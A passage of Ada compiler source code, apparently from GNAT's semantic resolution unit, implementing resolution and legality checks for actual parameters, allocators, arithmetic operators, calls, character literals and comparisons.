Is_OK_Variable_For_Out_Formal (A) then -- Specialize error message for protected procedure call -- within function call of the same protected object. if Is_Entity_Name (A) and then Chars (Entity (A)) = Name_uObject and then Ekind (Current_Scope) = E_Function and then Convention (Current_Scope) = Convention_Protected and then Ekind (Nam) /= E_Function then Error_Msg_N ("within protected function, protected " & "object is constant", A); Error_Msg_N ("\cannot call operation that may modify it", A); else Error_Msg_NE ("actual for& must be a variable", A, F); end if; end if; if Ekind (F) /= E_Out_Parameter then Check_Unset_Reference (A); if Ada_83 and then Is_Entity_Name (A) and then Ekind (Entity (A)) = E_Out_Parameter then Error_Msg_N ("(Ada 83) illegal reading of out parameter", A); end if; end if; -- Apply appropriate range checks for in, out, and in-out -- parameters. Out and in-out parameters also need a separate -- check, if there is a type conversion, to make sure the return -- value meets the constraints of the variable before the -- conversion. -- Gigi looks at the check flag and uses the appropriate types. -- For now since one flag is used there is an optimization which -- might not be done in the In Out case since Gigi does not do -- any analysis. More thought required about this ??? if Ekind (F) = E_In_Parameter or else Ekind (F) = E_In_Out_Parameter then if Is_Scalar_Type (Etype (A)) then Apply_Scalar_Range_Check (A, F_Typ); elsif Is_Array_Type (Etype (A)) then Apply_Length_Check (A, F_Typ); elsif Is_Record_Type (F_Typ) and then Has_Discriminants (F_Typ) and then Is_Constrained (F_Typ) and then (not Is_Derived_Type (F_Typ) or else Comes_From_Source (Nam)) then Apply_Discriminant_Check (A, F_Typ); elsif Is_Access_Type (F_Typ) and then Is_Array_Type (Designated_Type (F_Typ)) and then Is_Constrained (Designated_Type (F_Typ)) then Apply_Length_Check (A, F_Typ); elsif Is_Access_Type (F_Typ) and then Has_Discriminants (Designated_Type (F_Typ)) and then Is_Constrained (Designated_Type (F_Typ)) then Apply_Discriminant_Check (A, F_Typ); else Apply_Range_Check (A, F_Typ); end if; end if; if Ekind (F) = E_Out_Parameter or else Ekind (F) = E_In_Out_Parameter then if Nkind (A) = N_Type_Conversion then if Is_Scalar_Type (A_Typ) then Apply_Scalar_Range_Check (Expression (A), Etype (Expression (A)), A_Typ); else Apply_Range_Check (Expression (A), Etype (Expression (A)), A_Typ); end if; else if Is_Scalar_Type (F_Typ) then Apply_Scalar_Range_Check (A, A_Typ, F_Typ); elsif Is_Array_Type (F_Typ) and then Ekind (F) = E_Out_Parameter then Apply_Length_Check (A, F_Typ); else Apply_Range_Check (A, A_Typ, F_Typ); end if; end if; end if; -- An actual associated with an access parameter is implicitly -- converted to the anonymous access type of the formal and -- must satisfy the legality checks for access conversions. if Ekind (F_Typ) = E_Anonymous_Access_Type then if not Valid_Conversion (A, F_Typ, A) then Error_Msg_N ("invalid implicit conversion for access parameter", A); end if; end if; -- Check bad case of atomic/volatile argument (RM C.6(12)) if Is_By_Reference_Type (Etype (F)) and then Comes_From_Source (N) then if Is_Atomic_Object (A) and then not Is_Atomic (Etype (F)) then Error_Msg_N ("cannot pass atomic argument to non-atomic formal", N); elsif Is_Volatile_Object (A) and then not Is_Volatile (Etype (F)) then Error_Msg_N ("cannot pass volatile argument to non-volatile formal", N); end if; end if; -- Check that subprograms don't have improper controlling -- arguments (RM 3.9.2 (9)) if Is_Controlling_Formal (F) then Set_Is_Controlling_Actual (A); elsif Nkind (A) = N_Explicit_Dereference then Validate_Remote_Access_To_Class_Wide_Type (A); end if; if (Is_Class_Wide_Type (A_Typ) or else Is_Dynamically_Tagged (A)) and then not Is_Class_Wide_Type (F_Typ) and then not Is_Controlling_Formal (F) then Error_Msg_N ("class-wide argument not allowed here!", A); if Is_Subprogram (Nam) then Error_Msg_Node_2 := F_Typ; Error_Msg_NE ("& is not a primitive operation of &!", A, Nam); end if; elsif Is_Access_Type (A_Typ) and then Is_Access_Type (F_Typ) and then Ekind (F_Typ) /= E_Access_Subprogram_Type and then (Is_Class_Wide_Type (Designated_Type (A_Typ)) or else (Nkind (A) = N_Attribute_Reference and then Is_Class_Wide_Type (Etype (Prefix (A))))) and then not Is_Class_Wide_Type (Designated_Type (F_Typ)) and then not Is_Controlling_Formal (F) then Error_Msg_N ("access to class-wide argument not allowed here!", A); if Is_Subprogram (Nam) then Error_Msg_Node_2 := Designated_Type (F_Typ); Error_Msg_NE ("& is not a primitive operation of &!", A, Nam); end if; end if; Eval_Actual (A); -- If it is a named association, treat the selector_name as -- a proper identifier, and mark the corresponding entity. if Nkind (Parent (A)) = N_Parameter_Association then Set_Entity (Selector_Name (Parent (A)), F); Generate_Reference (F, Selector_Name (Parent (A))); Set_Etype (Selector_Name (Parent (A)), F_Typ); Generate_Reference (F_Typ, N, ' '); end if; Prev := A; Next_Actual (A); else Insert_Default; end if; Next_Formal (F); end loop; end Resolve_Actuals; ----------------------- -- Resolve_Allocator -- ----------------------- procedure Resolve_Allocator (N : Node_Id; Typ : Entity_Id) is E : constant Node_Id := Expression (N); Subtyp : Entity_Id; Discrim : Entity_Id; Constr : Node_Id; Disc_Exp : Node_Id; begin -- Replace general access with specific type if Ekind (Etype (N)) = E_Allocator_Type then Set_Etype (N, Base_Type (Typ)); end if; if Is_Abstract (Typ) then Error_Msg_N ("type of allocator cannot be abstract", N); end if; -- For qualified expression, resolve the expression using the -- given subtype (nothing to do for type mark, subtype indication) if Nkind (E) = N_Qualified_Expression then if Is_Class_Wide_Type (Etype (E)) and then not Is_Class_Wide_Type (Designated_Type (Typ)) then Error_Msg_N ("class-wide allocator not allowed for this access type", N); end if; Resolve (Expression (E), Etype (E)); Check_Unset_Reference (Expression (E)); -- For a subtype mark or subtype indication, freeze the subtype else Freeze_Expression (E); if Is_Access_Constant (Typ) and then not No_Initialization (N) then Error_Msg_N ("initialization required for access-to-constant allocator", N); end if; -- A special accessibility check is needed for allocators that -- constrain access discriminants. The level of the type of the -- expression used to contrain an access discriminant cannot be -- deeper than the type of the allocator (in constrast to access -- parameters, where the level of the actual can be arbitrary). -- We can't use Valid_Conversion to perform this check because -- in general the type of the allocator is unrelated to the type -- of the access discriminant. Note that specialized checks are -- needed for the cases of a constraint expression which is an -- access attribute or an access discriminant. if Nkind (Original_Node (E)) = N_Subtype_Indication and then Ekind (Typ) /= E_Anonymous_Access_Type then Subtyp := Entity (Subtype_Mark (Original_Node (E))); if Has_Discriminants (Subtyp) then Discrim := First_Discriminant (Base_Type (Subtyp)); Constr := First (Constraints (Constraint (Original_Node (E)))); while Present (Discrim) and then Present (Constr) loop if Ekind (Etype (Discrim)) = E_Anonymous_Access_Type then if Nkind (Constr) = N_Discriminant_Association then Disc_Exp := Original_Node (Expression (Constr)); else Disc_Exp := Original_Node (Constr); end if; if Type_Access_Level (Etype (Disc_Exp)) > Type_Access_Level (Typ) then Error_Msg_N ("operand type has deeper level than allocator type", Disc_Exp); elsif Nkind (Disc_Exp) = N_Attribute_Reference and then Get_Attribute_Id (Attribute_Name (Disc_Exp)) = Attribute_Access and then Object_Access_Level (Prefix (Disc_Exp)) > Type_Access_Level (Typ) then Error_Msg_N ("prefix of attribute has deeper level than" & " allocator type", Disc_Exp); -- When the operand is an access discriminant the check -- is against the level of the prefix object. elsif Ekind (Etype (Disc_Exp)) = E_Anonymous_Access_Type and then Nkind (Disc_Exp) = N_Selected_Component and then Object_Access_Level (Prefix (Disc_Exp)) > Type_Access_Level (Typ) then Error_Msg_N ("access discriminant has deeper level than" & " allocator type", Disc_Exp); end if; end if; Next_Discriminant (Discrim); Next (Constr); end loop; end if; end if; end if; -- Check for allocation from an empty storage pool if No_Pool_Assigned (Typ) then declare Loc : constant Source_Ptr := Sloc (N); begin Error_Msg_N ("?allocation from empty storage pool!", N); Error_Msg_N ("?Storage_Error will be raised at run time!", N); Insert_Action (N, Make_Raise_Storage_Error (Loc)); end; end if; end Resolve_Allocator; --------------------------- -- Resolve_Arithmetic_Op -- --------------------------- -- Used for resolving all arithmetic operators except exponentiation procedure Resolve_Arithmetic_Op (N : Node_Id; Typ : Entity_Id) is L : constant Node_Id := Left_Opnd (N); R : constant Node_Id := Right_Opnd (N); T : Entity_Id; TL : Entity_Id := Base_Type (Etype (L)); TR : Entity_Id := Base_Type (Etype (R)); B_Typ : constant Entity_Id := Base_Type (Typ); -- We do the resolution using the base type, because intermediate values -- in expressions always are of the base type, not a subtype of it. function Is_Integer_Or_Universal (N : Node_Id) return Boolean; -- Return True iff given type is Integer or universal real/integer procedure Set_Mixed_Mode_Operand (N : Node_Id; T : Entity_Id); -- Choose type of integer literal in fixed-point operation to conform -- to available fixed-point type. T is the type of the other operand, -- which is needed to determine the expected type of N. procedure Set_Operand_Type (N : Node_Id); -- Set operand type to T if universal function Universal_Interpretation (N : Node_Id) return Entity_Id; -- Find universal type of operand, if any. ----------------------------- -- Is_Integer_Or_Universal -- ----------------------------- function Is_Integer_Or_Universal (N : Node_Id) return Boolean is T : Entity_Id; Index : Interp_Index; It : Interp; begin if not Is_Overloaded (N) then T := Etype (N); return Base_Type (T) = Base_Type (Standard_Integer) or else T = Universal_Integer or else T = Universal_Real; else Get_First_Interp (N, Index, It); while Present (It.Typ) loop if Base_Type (It.Typ) = Base_Type (Standard_Integer) or else It.Typ = Universal_Integer or else It.Typ = Universal_Real then return True; end if; Get_Next_Interp (Index, It); end loop; end if; return False; end Is_Integer_Or_Universal; ---------------------------- -- Set_Mixed_Mode_Operand -- ---------------------------- procedure Set_Mixed_Mode_Operand (N : Node_Id; T : Entity_Id) is Index : Interp_Index; It : Interp; begin if Universal_Interpretation (N) = Universal_Integer then -- A universal integer literal is resolved as standard integer -- except in the case of a fixed-point result, where we leave -- it as universal (to be handled by Exp_Fixd later on) if Is_Fixed_Point_Type (T) then Resolve (N, Universal_Integer); else Resolve (N, Standard_Integer); end if; elsif Universal_Interpretation (N) = Universal_Real and then (T = Base_Type (Standard_Integer) or else T = Universal_Integer or else T = Universal_Real) then -- A universal real can appear in a fixed-type context. We resolve -- the literal with that context, even though this might raise an -- exception prematurely (the other operand may be zero). Resolve (N, B_Typ); elsif Etype (N) = Base_Type (Standard_Integer) and then T = Universal_Real and then Is_Overloaded (N) then -- Integer arg in mixed-mode operation. Resolve with universal -- type, in case preference rule must be applied. Resolve (N, Universal_Integer); elsif Etype (N) = T and then B_Typ /= Universal_Fixed then -- Not a mixed-mode operation. Resolve with context. Resolve (N, B_Typ); elsif Etype (N) = Any_Fixed then -- N may itself be a mixed-mode operation, so use context type. Resolve (N, B_Typ); elsif Is_Fixed_Point_Type (T) and then B_Typ = Universal_Fixed and then Is_Overloaded (N) then -- Must be (fixed * fixed) operation, operand must have one -- compatible interpretation. Resolve (N, Any_Fixed); elsif Is_Fixed_Point_Type (B_Typ) and then (T = Universal_Real or else Is_Fixed_Point_Type (T)) and then Is_Overloaded (N) then -- C * F(X) in a fixed context, where C is a real literal or a -- fixed-point expression. F must have either a fixed type -- interpretation or an integer interpretation, but not both. Get_First_Interp (N, Index, It); while Present (It.Typ) loop if Base_Type (It.Typ) = Base_Type (Standard_Integer) then if Analyzed (N) then Error_Msg_N ("ambiguous operand in fixed operation", N); else Resolve (N, Standard_Integer); end if; elsif Is_Fixed_Point_Type (It.Typ) then if Analyzed (N) then Error_Msg_N ("ambiguous operand in fixed operation", N); else Resolve (N, It.Typ); end if; end if; Get_Next_Interp (Index, It); end loop; -- Reanalyze the literal with the fixed type of the context. if N = L then Set_Analyzed (R, False); Resolve (R, B_Typ); else Set_Analyzed (L, False); Resolve (L, B_Typ); end if; else Resolve (N, Etype (N)); end if; end Set_Mixed_Mode_Operand; ---------------------- -- Set_Operand_Type -- ---------------------- procedure Set_Operand_Type (N : Node_Id) is begin if Etype (N) = Universal_Integer or else Etype (N) = Universal_Real then Set_Etype (N, T); end if; end Set_Operand_Type; ------------------------------ -- Universal_Interpretation -- ------------------------------ function Universal_Interpretation (N : Node_Id) return Entity_Id is Index : Interp_Index; It : Interp; begin if not Is_Overloaded (N) then if Etype (N) = Universal_Integer or else Etype (N) = Universal_Real then return Etype (N); else return Empty; end if; else Get_First_Interp (N, Index, It); while Present (It.Typ) loop if It.Typ = Universal_Integer or else It.Typ = Universal_Real then return It.Typ; end if; Get_Next_Interp (Index, It); end loop; return Empty; end if; end Universal_Interpretation; -- Start of processing for Resolve_Arithmetic_Op begin if Comes_From_Source (N) and then Ekind (Entity (N)) = E_Function and then Is_Imported (Entity (N)) and then Present (First_Rep_Item (Entity (N))) then Resolve_Intrinsic_Operator (N, Typ); return; -- Special-case for mixed-mode universal expressions or fixed point -- type operation: each argument is resolved separately. The same -- treatment is required if one of the operands of a fixed point -- operation is universal real, since in this case we don't do a -- conversion to a specific fixed-point type (instead the expander -- takes care of the case). elsif (B_Typ = Universal_Integer or else B_Typ = Universal_Real) and then Present (Universal_Interpretation (L)) and then Present (Universal_Interpretation (R)) then Resolve (L, Universal_Interpretation (L)); Resolve (R, Universal_Interpretation (R)); Set_Etype (N, B_Typ); elsif (B_Typ = Universal_Real or else Etype (N) = Universal_Fixed or else (Etype (N) = Any_Fixed and then Is_Fixed_Point_Type (B_Typ)) or else (Is_Fixed_Point_Type (B_Typ) and then (Is_Integer_Or_Universal (L) or else Is_Integer_Or_Universal (R)))) and then (Nkind (N) = N_Op_Multiply or else Nkind (N) = N_Op_Divide) then if TL = Universal_Integer or else TR = Universal_Integer then Check_For_Visible_Operator (N, B_Typ); end if; -- If context is a fixed type and one operand is integer, the -- other is resolved with the type of the context. if Is_Fixed_Point_Type (B_Typ) and then (Base_Type (TL) = Base_Type (Standard_Integer) or else TL = Universal_Integer) then Resolve (R, B_Typ); Resolve (L, TL); elsif Is_Fixed_Point_Type (B_Typ) and then (Base_Type (TR) = Base_Type (Standard_Integer) or else TR = Universal_Integer) then Resolve (L, B_Typ); Resolve (R, TR); else Set_Mixed_Mode_Operand (L, TR); Set_Mixed_Mode_Operand (R, TL); end if; if Etype (N) = Universal_Fixed or else Etype (N) = Any_Fixed then if B_Typ = Universal_Fixed and then Nkind (Parent (N)) /= N_Type_Conversion and then Nkind (Parent (N)) /= N_Unchecked_Type_Conversion then Error_Msg_N ("type cannot be determined from context!", N); Error_Msg_N ("\explicit conversion to result type required", N); Set_Etype (L, Any_Type); Set_Etype (R, Any_Type); else if Ada_83 and then Etype (N) = Universal_Fixed and then Nkind (Parent (N)) /= N_Type_Conversion and then Nkind (Parent (N)) /= N_Unchecked_Type_Conversion then Error_Msg_N ("(Ada 83) fixed-point operation " & "needs explicit conversion", N); end if; Set_Etype (N, B_Typ); end if; elsif Is_Fixed_Point_Type (B_Typ) and then (Is_Integer_Or_Universal (L) or else Nkind (L) = N_Real_Literal or else Nkind (R) = N_Real_Literal or else Is_Integer_Or_Universal (R)) then Set_Etype (N, B_Typ); elsif Etype (N) = Any_Fixed then -- If no previous errors, this is only possible if one operand -- is overloaded and the context is universal. Resolve as such. Set_Etype (N, B_Typ); end if; else if (TL = Universal_Integer or else TL = Universal_Real) and then (TR = Universal_Integer or else TR = Universal_Real) then Check_For_Visible_Operator (N, B_Typ); end if; -- If the context is Universal_Fixed and the operands are also -- universal fixed, this is an error, unless there is only one -- applicable fixed_point type (usually duration). if B_Typ = Universal_Fixed and then Etype (L) = Universal_Fixed then T := Unique_Fixed_Point_Type (N); if T = Any_Type then Set_Etype (N, T); return; else Resolve (L, T); Resolve (R, T); end if; else Resolve (L, B_Typ); Resolve (R, B_Typ); end if; -- If one of the arguments was resolved to a non-universal type. -- label the result of the operation itself with the same type. -- Do the same for the universal argument, if any. T := Intersect_Types (L, R); Set_Etype (N, Base_Type (T)); Set_Operand_Type (L); Set_Operand_Type (R); end if; Generate_Operator_Reference (N); Eval_Arithmetic_Op (N); -- Set overflow and division checking bit. Much cleverer code needed -- here eventually and perhaps the Resolve routines should be separated -- for the various arithmetic operations, since they will need -- different processing. ??? if Nkind (N) in N_Op then if not Overflow_Checks_Suppressed (Etype (N)) then Set_Do_Overflow_Check (N); end if; if (Nkind (N) = N_Op_Divide or else Nkind (N) = N_Op_Rem or else Nkind (N) = N_Op_Mod) and then not Division_Checks_Suppressed (Etype (N)) then Set_Do_Division_Check (N); end if; end if; Check_Unset_Reference (L); Check_Unset_Reference (R); end Resolve_Arithmetic_Op; ------------------ -- Resolve_Call -- ------------------ procedure Resolve_Call (N : Node_Id; Typ : Entity_Id) is Loc : constant Source_Ptr := Sloc (N); Subp : constant Node_Id := Name (N); Nam : Entity_Id; I : Interp_Index; It : Interp; Norm_OK : Boolean; Scop : Entity_Id; begin -- The context imposes a unique interpretation with type Typ on -- a procedure or function call. Find the entity of the subprogram -- that yields the expected type, and propagate the corresponding -- formal constraints on the actuals. The caller has established -- that an interpretation exists, and emitted an error if not unique. -- First deal with the case of a call to an access-to-subprogram, -- dereference made explicit in Analyze_Call. if Ekind (Etype (Subp)) = E_Subprogram_Type then if not Is_Overloaded (Subp) then Nam := Etype (Subp); else -- Find the interpretation whose type (a subprogram type) -- has a return type that is compatible with the context. -- Analysis of the node has established that one exists. Get_First_Interp (Subp, I, It); Nam := Empty; while Present (It.Typ) loop if Covers (Typ, Etype (It.Typ)) then Nam := It.Typ; exit; end if; Get_Next_Interp (I, It); end loop; if No (Nam) then raise Program_Error; end if; end if; -- If the prefix is not an entity, then resolve it if not Is_Entity_Name (Subp) then Resolve (Subp, Nam); end if; -- If this is a procedure call which is really an entry call, do -- the conversion of the procedure call to an entry call. Protected -- operations use the same circuitry because the name in the call -- can be an arbitrary expression with special resolution rules. elsif Nkind (Subp) = N_Selected_Component or else Nkind (Subp) = N_Indexed_Component or else (Is_Entity_Name (Subp) and then Ekind (Entity (Subp)) = E_Entry) then Resolve_Entry_Call (N, Typ); Check_Elab_Call (N); return; -- Normal subprogram call with name established in Resolve elsif not (Is_Type (Entity (Subp))) then Nam := Entity (Subp); Set_Entity_With_Style_Check (Subp, Nam); Generate_Reference (Nam, Subp); -- Otherwise we must have the case of an overloaded call else pragma Assert (Is_Overloaded (Subp)); Nam := Empty; -- We know that it will be assigned in loop below. Get_First_Interp (Subp, I, It); while Present (It.Typ) loop if Covers (Typ, It.Typ) then Nam := It.Nam; Set_Entity_With_Style_Check (Subp, Nam); Generate_Reference (Nam, Subp); exit; end if; Get_Next_Interp (I, It); end loop; end if; -- Check that a call to Current_Task does not occur in an entry body if Is_RTE (Nam, RE_Current_Task) then declare P : Node_Id; begin P := N; loop P := Parent (P); exit when No (P); if Nkind (P) = N_Entry_Body then Error_Msg_NE ("& should not be used in entry body ('R'M C.7(17))", N, Nam); exit; end if; end loop; end; end if; -- Check that a procedure call does not occur in the context -- of the entry call statement of a conditional or timed -- entry call. Note that the case of a call to a subprogram -- renaming of an entry will also be rejected. The test -- for N not being an N_Entry_Call_Statement is defensive, -- covering the possibility that the processing of entry -- calls might reach this point due to later modifications -- of the code above. if Nkind (Parent (N)) = N_Entry_Call_Alternative and then Nkind (N) /= N_Entry_Call_Statement and then Entry_Call_Statement (Parent (N)) = N then Error_Msg_N ("entry call required in select statement", N); end if; -- Freeze the subprogram name if not in default expression. Note -- that we freeze procedure calls as well as function calls. -- Procedure calls are not frozen according to the rules (RM -- 13.14(14)) because it is impossible to have a procedure call to -- a non-frozen procedure in pure Ada, but in the code that we -- generate in the expander, this rule needs extending because we -- can generate procedure calls that need freezing. if Is_Entity_Name (Subp) and then not In_Default_Expression then Freeze_Expression (Subp); end if; -- For a predefined operator, the type of the result is the type -- imposed by context, except for a predefined operation on universal -- fixed. Otherwise The type of the call is the type returned by the -- subprogram being called. if Is_Predefined_Op (Nam) then if Etype (N) /= Universal_Fixed then Set_Etype (N, Typ); end if; -- If the subprogram returns an array type, and the context -- requires the component type of that array type, the node is -- really an indexing of the parameterless call. Resolve as such. elsif Needs_No_Actuals (Nam) and then ((Is_Array_Type (Etype (Nam)) and then Covers (Typ, Component_Type (Etype (Nam)))) or else (Is_Access_Type (Etype (Nam)) and then Is_Array_Type (Designated_Type (Etype (Nam))) and then Covers (Typ, Component_Type (Designated_Type (Etype (Nam)))))) then declare Index_Node : Node_Id; begin if Component_Type (Etype (Nam)) /= Any_Type then Index_Node := Make_Indexed_Component (Loc, Prefix => Make_Function_Call (Loc, Name => New_Occurrence_Of (Nam, Loc)), Expressions => Parameter_Associations (N)); -- Since we are correcting a node classification error made by -- the parser, we call Replace rather than Rewrite. Replace (N, Index_Node); Set_Etype (Prefix (N), Etype (Nam)); Set_Etype (N, Typ); Resolve_Indexed_Component (N, Typ); Check_Elab_Call (Prefix (N)); end if; return; end; else Set_Etype (N, Etype (Nam)); end if; -- In the case where the call is to an overloaded subprogram, Analyze -- calls Normalize_Actuals once per overloaded subprogram. Therefore in -- such a case Normalize_Actuals needs to be called once more to order -- the actuals correctly. Otherwise the call will have the ordering -- given by the last overloaded subprogram whether this is the correct -- one being called or not. if Is_Overloaded (Subp) then Normalize_Actuals (N, Nam, False, Norm_OK); pragma Assert (Norm_OK); end if; -- In any case, call is fully resolved now. Reset Overload flag, to -- prevent subsequent overload resolution if node is analyzed again Set_Is_Overloaded (Subp, False); Set_Is_Overloaded (N, False); -- If we are calling the current subprogram from immediately within -- its body, then that is the case where we can sometimes detect -- cases of infinite recursion statically. Do not try this in case -- restriction No_Recursion is in effect anyway. Scop := Current_Scope; if Nam = Scop and then not Restrictions (No_Recursion) and then Check_Infinite_Recursion (N) then -- Here we detected and flagged an infinite recursion, so we do -- not need to test the case below for further warnings. null; -- If call is to immediately containing subprogram, then check for -- the case of a possible run-time detectable infinite recursion. else while Scop /= Standard_Standard loop if Nam = Scop then -- Although in general recursion is not statically checkable, -- the case of calling an immediately containing subprogram -- is easy to catch. Check_Restriction (No_Recursion, N); -- If the recursive call is to a parameterless procedure, then -- even if we can't statically detect infinite recursion, this -- is pretty suspicious, and we output a warning. Furthermore, -- we will try later to detect some cases here at run time by -- expanding checking code (see Detect_Infinite_Recursion in -- package Exp_Ch6). -- If the recursive call is within a handler we do not emit a -- warning, because this is a common idiom: loop until input -- is correct, catch illegal input in handler and restart. if No (First_Formal (Nam)) and then Etype (Nam) = Standard_Void_Type and then not Error_Posted (N) and then Nkind (Parent (N)) /= N_Exception_Handler then Set_Has_Recursive_Call (Nam); Error_Msg_N ("possible infinite recursion?", N); Error_Msg_N ("Storage_Error may be raised at run time?", N); end if; exit; end if; Scop := Scope (Scop); end loop; end if; -- If subprogram name is a predefined operator, it was given in -- functional notation. Replace call node with operator node, so -- that actuals can be resolved appropriately. if Is_Predefined_Op (Nam) or else Ekind (Nam) = E_Operator then Make_Call_Into_Operator (N, Typ, Entity (Name (N))); return; elsif Present (Alias (Nam)) and then Is_Predefined_Op (Alias (Nam)) then Resolve_Actuals (N, Nam); Make_Call_Into_Operator (N, Typ, Alias (Nam)); return; end if; -- Create a transient scope if the resulting type requires it. -- There are 3 notable exceptions: in init_procs, the transient scope -- overhead is not needed and even incorrect due to the actual expansion -- of adjust calls; the second case is enumeration literal pseudo calls, -- the other case is intrinsic subprograms (Unchecked_Conversion and -- source information functions) that do not use the secondary stack -- even though the return type is unconstrained. -- If this is an initialization call for a type whose initialization -- uses the secondary stack, we also need to create a transient scope -- for it, precisely because we will not do it within the init_proc -- itself. if Expander_Active and then Is_Type (Etype (Nam)) and then Requires_Transient_Scope (Etype (Nam)) and then Ekind (Nam) /= E_Enumeration_Literal and then not Within_Init_Proc and then not Is_Intrinsic_Subprogram (Nam) then Establish_Transient_Scope (N, Sec_Stack => not Functions_Return_By_DSP_On_Target); elsif Chars (Nam) = Name_uInit_Proc and then not Within_Init_Proc then Check_Initialization_Call (N, Nam); end if; -- A protected function cannot be called within the definition of the -- enclosing protected type. if Is_Protected_Type (Scope (Nam)) and then In_Open_Scopes (Scope (Nam)) and then not Has_Completion (Scope (Nam)) then Error_Msg_NE ("& cannot be called before end of protected definition", N, Nam); end if; -- Propagate interpretation to actuals, and add default expressions -- where needed. if Present (First_Formal (Nam)) then Resolve_Actuals (N, Nam); -- Overloaded literals are rewritten as function calls, for -- purpose of resolution. After resolution, we can replace -- the call with the literal itself. elsif Ekind (Nam) = E_Enumeration_Literal then Copy_Node (Subp, N); Resolve_Entity_Name (N, Typ); -- Avoid validation, since it is a static function call. return; end if; -- If the subprogram is a primitive operation, check whether or not -- it is a correct dispatching call. if Is_Overloadable (Nam) and then Is_Dispatching_Operation (Nam) then Check_Dispatching_Call (N); -- If the subprogram is abstract, check that the call has a -- controlling argument (i.e. is dispatching) or is disptaching on -- result if Is_Abstract (Nam) and then No (Controlling_Argument (N)) and then not Is_Class_Wide_Type (Typ) and then not Is_Tag_Indeterminate (N) then Error_Msg_N ("call to abstract subprogram must be dispatching", N); end if; elsif Is_Abstract (Nam) and then not In_Instance then Error_Msg_NE ("cannot call abstract subprogram &!", N, Nam); end if; if Is_Intrinsic_Subprogram (Nam) then Check_Intrinsic_Call (N); end if; -- If we fall through we definitely have a non-static call Check_Elab_Call (N); end Resolve_Call; ------------------------------- -- Resolve_Character_Literal -- ------------------------------- procedure Resolve_Character_Literal (N : Node_Id; Typ : Entity_Id) is B_Typ : constant Entity_Id := Base_Type (Typ); C : Entity_Id; begin -- Verify that the character does belong to the type of the context Set_Etype (N, B_Typ); Eval_Character_Literal (N); -- Wide_Character literals must always be defined, since the set of -- wide character literals is complete, i.e. if a character literal -- is accepted by the parser, then it is OK for wide character. if Root_Type (B_Typ) = Standard_Wide_Character then return; -- Always accept character literal for type Any_Character, which -- occurs in error situations and in comparisons of literals, both -- of which should accept all literals. elsif B_Typ = Any_Character then return; -- For Standard.Character or a type derived from it, check that -- the literal is in range elsif Root_Type (B_Typ) = Standard_Character then if In_Character_Range (Char_Literal_Value (N)) then return; end if; -- If the entity is already set, this has already been resolved in -- a generic context, or comes from expansion. Nothing else to do. elsif Present (Entity (N)) then return; -- Otherwise we have a user defined character type, and we can use -- the standard visibility mechanisms to locate the referenced entity else C := Current_Entity (N); while Present (C) loop if Etype (C) = B_Typ then Set_Entity_With_Style_Check (N, C); Generate_Reference (C, N); return; end if; C := Homonym (C); end loop; end if; -- If we fall through, then the literal does not match any of the -- entries of the enumeration type. This isn't just a constraint -- error situation, it is an illegality (see RM 4.2). Error_Msg_NE ("character not defined for }", N, First_Subtype (B_Typ)); end Resolve_Character_Literal; --------------------------- -- Resolve_Comparison_Op -- --------------------------- -- Context requires a boolean type, and plays no role in resolution. -- Processing identical to that for equality operators. procedure Resolve_Comparison_Op (N : Node_Id; Typ : Entity_Id) is L : constant Node_Id := Left_Opnd (N); R : constant Node_Id := Right_Opnd (N); T : Entity_Id; begin -- If this is an intrinsic operation which is not predefined, use -- the types of its declared arguments to resolve the possibly -- overloaded operands. Otherwise the operands are unambiguous and -- specify the expected type. if Scope (Entity (N)) /= Standard_Standard then T := Etype (First_Entity (Entity (N))); else T := Find_Unique_Type (L, R); if T = Any_Fixed then T := Unique_Fixed_Point_Type (L); end if; end if; Set_Etype (N, Typ); Generate_Reference (T, N, ' '); if T /= Any_Type then if T = Any_String or else T = Any_Composite or else T = Any_Character then if T = Any_Character then Ambiguous_Character (L); else Error_Msg_N ("ambiguous operands for comparison", N); end if; Set_Etype (N, Any_Type); return; else if Comes_From_Source (N) and then Has_Unchecked_Union (T) then Error_Msg_N ("cannot compare Unchecked_Union values", N); end if; Resolve (L, T); Resolve (R, T); Check_Unset_Reference (L); Check_Unset_Reference (R); Generate_Operator_Reference (N); Eval_Relational_Op (N); end if; end if; end Resolve_Comparison_Op; ------------------------------------ -- Resolve_Conditional_Expression -- ------------------------------------ procedure Resolve_Conditional_Expression (N : Node_Id; Typ : Entity_Id) is Condition : constant Node_Id := First (Expressions (N)); Then_Expr : constant Node_Id := Next (Condition); Else_Expr : constant Node_Id := Next (Then_Expr); begin Resolve (Condition, Standard_Boolean); Resolve (Then_Expr, Typ); Resolve (Else_Expr, Typ); Set_Etype (N, Typ); Eval_Conditional_Expression (N); end Resolve_Conditional_Expression; ----------------------------------------- -- Resolve_Discrete_Subtype_Indication -- ----------------------------------------- procedure Resolve_Discrete_Subtype_Indication (N : Node_Id; Typ : Entity_Id) is R : Node_Id; S : Entity_Id; begin Analyze (Subtype_Mark (N)); S := Entity (Subtype_Mark (N)); if Nkind (Constraint (N)) /= N_Range_Constraint then Error_Msg_N ("expect range constraint for discrete type", N); Set_Etype (N, Any_Type); else R := Range_Expression (Constraint (N)); if R = Error then return; end if; Analyze (R); if Base_Type (S) /= Base_Type (Typ) then Error_Msg_NE ("expect subtype of }", N, First_Subtype (Typ)); -- Rewrite the constraint as a range of Typ -- to allow compilation to proceed further. Set_Etype (N, Typ); Rewrite (Low_Bound (R), Make_Attribute_Reference (Sloc (Low_Bound (R)), Prefix => New_Occurrence_Of (Typ, Sloc (R)), Attribute_Name => Name_First)); Rewrite (High_Bound (R), Make_Attribute_Reference (Sloc (High_Bound (R)), Prefix => New_Occurrence_Of (Typ, Sloc (R)), Attribute_Name => Name_First)); else Resolve (R, Typ); Set_Etype (N, Etype (R)); -- Additionally, we must check that the bounds are compatible -- with the given subtype, which might be different from the -- type of the context. Apply_Range_Check (R, S); -- ??? If the above check statically detects a Constraint_Error -- it replaces the offending bound(s) of the range R with a -- Constraint_Error node. When the itype which uses these bounds -- is frozen the resulting call to Duplicate_Subexpr generates -- a new temporary for the bounds. -- Unfortunately there are other itypes that are also made depend -- on these bounds, so when Duplicate_Subexpr is called they get -- a forward reference to the newly created temporaries and Gigi -- aborts on such forward references. This is probably sign of a -- more fundamental problem somewhere else in either the order of -- itype freezing or the way certain itypes are constructed. -- To get around this problem we call Remove_Side_Effects right -- away if either bounds of R are a Constraint_Error. declare L : Node_Id := Low_Bound (R); H : Node_Id := High_Bound (R); begin if Nkind (L) = N_Raise_Constraint_Error then Remove_Side_Effects (L); end if; if Nkind (H) = N_Raise_Constraint_Error then Remove_Side_Effects (H); end if; end; Check_Unset_Reference (Low_Bound (R)); Check_Unset_Reference (High_Bound (R)); end if; end if; end 